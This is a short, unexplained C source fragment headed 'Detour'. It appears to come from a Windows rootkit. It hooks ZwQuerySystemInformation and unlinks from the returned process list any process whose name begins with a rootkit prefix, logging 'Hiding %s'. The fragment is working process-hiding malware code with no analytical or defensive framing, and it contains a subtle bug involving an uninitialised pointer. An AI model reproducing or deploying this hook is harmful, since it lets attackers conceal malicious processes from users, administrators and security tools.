Detour

typedef NTSTATUS (WINAPI * Enum_ZwQuerySystemInformation)(UINT, PVOID,                                     ULONG, PULONG);Enum_ZwQuerySystemInformation Real_ZwQuerySystemInformation = NULL;NTSTATUS WINAPI Mine_ZwQuerySystemInformation(UINT SystemInformationClass, 											  PVOID SystemInformation, 											  ULONG SystemInformationLength, 											  PULONG ReturnLength){	NTSTATUS sysinfo = 0;	if (!Real_ZwQuerySystemInformation) return -1;	sysinfo = Real_ZwQuerySystemInformation(SystemInformationClass,											SystemInformation,											SystemInformationLength,											ReturnLength);	if (sysinfo == STATUS_SUCCESS)	{		switch (SystemInformationClass)		{			case SystemProcessesAndThreadsInformation:			{				PSYSTEM_PROCESS_INFORMATION pProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;				PSYSTEM_PROCESS_INFORMATION pNextProcess;				while (1)				{				if (pProcesses->NextEntryDelta != 0)					pNextProcess = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)pProcesses) + pProcesses->NextEntryDelta);				PCWSTR pszProcessName = pProcesses->ProcessName.Buffer;				PCWSTR pszNextProcessName = pNextProcess->ProcessName.Buffer;				CHAR szProcessName[MAX_PATH];				WideCharToMultiByte(CP_ACP, 0, pszProcessName, -1,                            szProcessName, MAX_PATH, NULL, NULL);				//log_add("Reporting %s", szProcessName);				CHAR szNextProcessName[MAX_PATH];				WideCharToMultiByte(CP_ACP, 0, pszNextProcessName, -1,                            szNextProcessName, MAX_PATH, NULL, NULL);				if (!strncmp(szNextProcessName, RTK_FILE_CHAR, strlen(RTK_FILE_CHAR)))				{					pProcesses->NextEntryDelta += pNextProcess->NextEntryDelta;					if (VERBOSE)						log_add("Hiding %s", szNextProcessName);				}				if (pProcesses->NextEntryDelta != 0)					pProcesses = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)pProcesses) + pProcesses->NextEntryDelta);				else					break;				}			}		}	}	return sysinfo;}